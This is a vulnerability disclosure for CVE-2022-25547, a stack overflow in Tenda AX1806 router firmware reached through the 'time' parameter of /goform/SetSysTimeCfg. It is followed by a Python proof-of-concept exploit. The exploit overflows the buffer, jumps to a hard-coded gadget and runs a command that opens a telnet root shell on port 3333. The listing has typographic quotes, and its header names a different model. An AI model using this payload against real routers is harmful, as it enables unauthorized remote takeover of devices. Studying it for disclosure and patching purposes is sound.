Headline
CVE-2022-25547: IoT-CVE/Tenda/AX1806/1 at main · sec-bin/IoT-CVE
Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the time parameter.
Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)
Vulnerability Type: Stack overflow
Impact: Remote Code Execution && Denial of Service(DoS)
Vulnerability description
This vulnerability lies in the /goform/SetSysTimeCfg
page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html
There is a stack buffer overflow vulnerability in the fromSetSysTime
function.
The v6
variable is directly retrieved from the http request parameter time
.
Then v6
will be splice to stack by function sscanf without any security check,which causes stack overflow.
So by POSTing the page /goform/SetSysTimeCfg
with proper time
, the attacker can easily perform a Remote Code Execution or Deny of Service(DoS) with carefully crafted overflow data.
Exp
Remote Code Exection
# Title: Exploit of Tenda-AX3’s buffer overflow # Author: R1nd0&c0rn # Date: 2022 # Vendor Homepage: https://www.tenda.com.cn/ # Version: AX1806 v1.0.0.1
import requests from pwn import *
gadget = 0x37208
url = “https://192.168.2.1/goform/SetSysTimeCfg”
timeType = “manual”
time = b"2022-01-01 "
time += b"a" * 0x380 time += b"bbbb" time += b";" time += b"/usr/sbin/utelnetd -l /bin/sh -p 3333"# command time += b":" time += b"c" * 0x374 + p32(gadget)
r = requests.post(url, data={’timeType’: timeType, 'time’: time},verify=False) print(r.content)